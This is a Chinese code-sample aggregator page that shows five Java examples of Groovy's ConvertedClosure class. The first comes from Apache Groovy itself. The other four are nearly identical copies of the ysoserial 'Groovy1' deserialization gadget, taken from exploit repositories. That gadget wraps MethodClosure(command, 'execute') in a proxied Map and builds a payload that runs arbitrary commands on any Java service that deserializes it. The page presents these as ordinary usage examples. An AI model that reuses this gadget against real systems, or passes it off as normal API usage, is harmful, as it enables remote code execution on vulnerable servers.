本文整理汇总了Java中org.codehaus.groovy.runtime.ConvertedClosure类的典型用法代码示例。如果您正苦于以下问题:Java ConvertedClosure类的具体用法?Java ConvertedClosure怎么用?Java ConvertedClosure使用的例子?那么恭喜您, 这里精选的类代码示例或许可以为您提供帮助。
ConvertedClosure类属于org.codehaus.groovy.runtime包,在下文中一共展示了ConvertedClosure类的5个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的Java代码示例。
示例1: coerceToSAM
import org.codehaus.groovy.runtime.ConvertedClosure; //导入依赖的package包/类
@SuppressWarnings("unchecked")
public static Object coerceToSAM(Closure argument, Method method, Class clazz, boolean isInterface) {
if (argument!=null && clazz.isAssignableFrom(argument.getClass())) {
return argument;
}
if (isInterface) {
if (Traits.isTrait(clazz)) {
Map<String,Closure> impl = Collections.singletonMap(
method.getName(),
argument
);
return ProxyGenerator.INSTANCE.instantiateAggregate(impl,Collections.singletonList(clazz));
}
return Proxy.newProxyInstance(
clazz.getClassLoader(),
new Class[]{clazz},
new ConvertedClosure(argument));
} else {
Map<String, Object> m = new HashMap<String,Object>();
m.put(method.getName(), argument);
return ProxyGenerator.INSTANCE.
instantiateAggregateFromBaseClass(m, clazz);
}
}
开发者ID:apache,项目名称:groovy,代码行数:25,代码来源:CachedSAMClass.java
示例2: getObject
import org.codehaus.groovy.runtime.ConvertedClosure; //导入依赖的package包/类
public InvocationHandler getObject(final String command) throws Exception {
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");
final Map map = Gadgets.createProxy(closure, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);
return handler;
}
开发者ID:hucheat,项目名称:APacheSynapseSimplePOC,代码行数:10,代码来源:Groovy1.java
示例3: getObject
import org.codehaus.groovy.runtime.ConvertedClosure; //导入依赖的package包/类
public InvocationHandler getObject(CmdExecuteHelper cmdHelper) throws Exception {
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(cmdHelper.getCommand(), "execute"), "entrySet");
final Map map = Gadgets.createProxy(closure, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);
return handler;
}
开发者ID:pimps,项目名称:ysoserial-modified,代码行数:10,代码来源:Groovy1.java
示例4: getObject
import org.codehaus.groovy.runtime.ConvertedClosure; //导入依赖的package包/类
public InvocationHandler getObject(final String command) throws Exception {
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");
final Map map = Gadgets.createProxy(closure, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);
return handler;
}
开发者ID:RickGray,项目名称:ysoserial-plus,代码行数:10,代码来源:Groovy1.java
示例5: getObject
import org.codehaus.groovy.runtime.ConvertedClosure; //导入依赖的package包/类
public InvocationHandler getObject(final String command) throws Exception {
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");
final Map map = Gadgets.createProxy(closure, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);
return handler;
}
开发者ID:njfox,项目名称:Java-Deserialization-Exploit,代码行数:10,代码来源:Groovy1.java
注:本文中的org.codehaus.groovy.runtime.ConvertedClosure类示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。 |
请发表评论